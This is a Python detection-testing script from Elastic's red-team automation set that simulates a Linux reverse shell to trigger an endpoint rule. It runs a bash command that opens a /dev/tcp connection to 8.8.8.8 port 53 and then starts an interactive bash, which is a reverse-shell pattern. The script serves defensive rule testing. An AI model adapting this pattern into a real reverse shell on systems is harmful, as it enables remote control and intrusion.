Eric Forte
32 lines
1.2 KiB
Python
32 lines
1.2 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
|
# or more contributor license agreements. Licensed under the Elastic License
|
|
# 2.0; you may not use this file except in compliance with the Elastic License
|
|
# 2.0.
|
|
|
|
import subprocess
|
|
|
|
from . import RtaMetadata, common
|
|
|
|
metadata = RtaMetadata(
|
|
uuid="a5603982-8b43-4ea9-b8de-112d9817e12d",
|
|
platforms=["linux"],
|
|
endpoint=[{"rule_name": "Linux Reverse Shell", "rule_id": "52206861-4570-4b8b-a73e-4ef0ea379a4c"}],
|
|
siem=[],
|
|
techniques=["T1059", "T1071"],
|
|
)
|
|
|
|
|
|
@common.requires_os(metadata.platforms)
|
|
def main() -> None:
|
|
common.log("Creating the bash command to execute to get the proper parent/child relationship in place...")
|
|
# Bash command that attempts a network connection and then starts a new bash process with the -i flag
|
|
bash_command = 'exec 3<>/dev/tcp/8.8.8.8/53; echo -e "Connection Test" >&3; exec 3<&-; exec 3>&-; exec bash -i'
|
|
common.log("Executing the bash command...")
|
|
# Use subprocess.Popen to execute the bash command
|
|
subprocess.Popen(["bash", "-c", bash_command]) # noqa: S603 S607
|
|
common.log("Simulation successful!")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|